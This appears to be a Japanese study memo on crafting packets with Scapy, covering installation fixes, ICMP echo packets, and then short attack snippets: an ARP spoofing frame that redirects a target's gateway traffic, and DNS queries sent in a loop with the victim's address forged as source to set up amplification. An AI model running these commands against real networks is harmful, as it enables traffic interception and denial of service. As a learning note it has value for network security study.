モチベーション

パケットクラフティングにより任意のパケット情報を生成したときのメモ書き

Scapyのインストール

Scapyのインストールを行う。pipですんなり入らない場合は以下のようにdnetやpcapモジュールもインストールする。

  • pip install scapy
  • sudo scapyをすると以下のエラーが出る

    ➤  sudo scapy
    Password:
    INFO: Can't import python gnuplot wrapper . Won't be able to plot.
    INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
    ERROR: Unable to import pcap module: No module named pcap/No module named pcapy
    ERROR: Unable to import dnet module: No module named dnet
    Traceback (most recent call last):
    File "/usr/local/bin/scapy", line 25, in <module>
    interact()
    File "/usr/local/lib/python2.7/site-packages/scapy/main.py", line 278, in interact
    scapy_builtins = __import__("all",globals(),locals(),".").__dict__
    File "/usr/local/lib/python2.7/site-packages/scapy/all.py", line 28, in <module>
    from route6 import *
    File "/usr/local/lib/python2.7/site-packages/scapy/route6.py", line 271, in <module>
    conf.route6 = Route6()
    File "/usr/local/lib/python2.7/site-packages/scapy/route6.py", line 29, in __init__
    self.resync()
    File "/usr/local/lib/python2.7/site-packages/scapy/route6.py", line 42, in resync
    self.routes = read_routes6()
    File "/usr/local/lib/python2.7/site-packages/scapy/arch/unix.py", line 150, in read_routes6
    lifaddr = in6_getifaddr()
    File "/usr/local/lib/python2.7/site-packages/scapy/arch/unix.py", line 126, in in6_getifaddr
    i = dnet.intf()
    NameError: global name 'dnet' is not defined
    
  • dnetとpcapモジュールがimportできないと出ているので入れてみる

    $ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz
    $ tar xfz libdnet-1.12.tgz
    $ cd libdnet-1.12
    $ ./configure
    $ make
    $ sudo make install
    $ cd python
    $ sudo python setup.py install
    
    $ wget http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.4.tar.gz
    $ tar xfz pylibpcap-0.6.4.tar.gz
    $ cd pylibpcap-0.6.4
    $ sudo python setup.py install
    
    # scapyをつかってみる
    sudo scapyでscapyのインタラクティブコンソールが起動する。コンソールではpythonも利用できる。
    
    ## 関数一覧の表示
    lsc()
    
    # 作成できるプロトコル一覧を表示
    ls()
    
    ## IPレイヤの変数を表示
    ls(IP)
    version    : BitField             = (4)
    ihl        : BitField             = (None)
    tos        : XByteField           = (0)
    len        : ShortField           = (None)
    id         : ShortField           = (1)
    flags      : FlagsField           = (0)
    frag       : BitField             = (0)
    ttl        : ByteField            = (64)
    proto      : ByteEnumField        = (0)
    chksum     : XShortField          = (None)
    src        : Emph                 = (None)
    dst        : Emph                 = ('127.0.0.1')
    options    : PacketListField      = ([])
    
    ## TCP
    
    >>> ls(TCP)
    sport      : ShortEnumField       = (20)
    dport      : ShortEnumField       = (80)
    seq        : IntField             = (0)
    ack        : IntField             = (0)
    dataofs    : BitField             = (None)
    reserved   : BitField             = (0)
    flags      : FlagsField           = (2)
    window     : ShortField           = (8192)
    chksum     : XShortField          = (None)
    urgptr     : ShortField           = (0)
    options    : TCPOptionsField      = ({})
    
    
  • IP(dst=XXX)/ICMP():IPプロトコル(送信先IPをXXX)とICMPプロトコルを使うパケットを生成する

  • pkt.show:作ったパケットの中味を表示

  • hexdump(pkt):作ったパケットを16進数で表示

  • sr1(pkt):レイヤ3に向けてパケットを送信し,その応答の一つ目を変数に保存する

ICMPを送ってみる

>>> target = 192.168.0.10
>>> pkt=IP(dst=target)/ICMP()/Raw('Send ICMP')
>>> pkt.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= icmp
  chksum= None
  src= 172.20.10.10
  dst= 192.168.0.10
  \options\
###[ ICMP ]###
     type= echo-request
     code= 0
     chksum= None
     id= 0x0
     seq= 0x0
###[ Raw ]###
        load= 'Send ICMP'
>>> hexdump(pkt)
0000   45 00 00 25 00 01 00 00  40 01 B4 A9 AC 14 0A 0A   E..%....@.......
0010   08 08 08 08 08 00 82 9F  00 00 00 00 53 65 6E 64   ............Send
0020   20 49 43 4D 50                                      ICMP
>>> result = sr1(pkt)
Begin emission:
..Finished to send 1 packets.
.*
Received 4 packets, got 1 answers, remaining 0 packets
>>> result.show()
###[ IP ]###
  version= 4L
  ihl= 5L
  tos= 0x0
  len= 37
  id= 40963
  flags=
  frag= 0L
  ttl= 51
  proto= icmp
  chksum= 0x21a7
  src= 192.168.0.10
  dst= 172.20.10.10
  \options\
###[ ICMP ]###
     type= echo-reply
     code= 0
     chksum= 0x8a9f
     id= 0x0
     seq= 0x0
###[ Raw ]###
        load= 'Send ICMP'

ARP Spoofing

Spoofは英語でいたずら.パケットやフレームを偽造すること.

$ sudo scapy

# ARPプロトコルの変数を確認する

>>> ls(ARP)
hwtype     : XShortField          = (1)
ptype      : XShortEnumField      = (2048)
hwlen      : ByteField            = (6)
plen       : ByteField            = (4)
op         : ShortEnumField       = (1)
hwsrc      : ARPSourceMACField    = (None)
psrc       : SourceIPField        = (None)
hwdst      : MACField             = ('00:00:00:00:00:00')
pdst       : IPField              = ('0.0.0.0')

>>> gateway = '192.168.0.1'
>>> target = '192.168.0.100'

# ターゲットのMACアドレスを取得
>>> dst_hwaddr = getmacbyip(target)

# Arp Spoofing用のFrameを生成(GatewayのMACアドレスを自分のMACアドレスにすることで,Gateway経由の通信を全て受け取る)
>>> frame = Ether(dst=dst_hwaddr) / ARP(op=1, psrc=gateway, pdst=target)
>>> frame.show()

# レイヤ3に向けてパケットを送信する(フレームは偽造したものを利用) 
>>> ans, unans = srploop(frame, iface='eth1')
>>> ans[0][0].show()
>>> ans[0][1].show()

DNS Ampを送る

DNSへのパケットリクエスト/レスポンスを確認する

$ sudo scapy
>>> resolver = '192.168.0.1'
>>> domain_name = 'www.google.com'
>>> pkt = IP(dst=resolver) / UDP() /
DNS(qd=DNSQR(qname=domain_name), rd=1)
>>> result = sr1(pkt)
>>> hexdump(pkt)
>>> hexdump(result)
>>> len(result) / float(len(pkt))

偽装パケットを送る

$ sudo scapy
>>> resolver = '192.168.0.1'
>>> domain_name = 'www.google.com'
>>> pkt = IP(dst=resolver) / UDP() /
DNS(qd=DNSQR(qname=domain_name), rd=1)
>>> result = sr1(pkt)
>>> target = '192.168.0.100' >>> pkt[IP].src = target
>>> srloop(pkt)
>>> srloop(pkt, inter=0.1)

Rubyでもできる(Scruby)

ScrubyというRuby版のscapyみたいなものもあるっぽい,

参考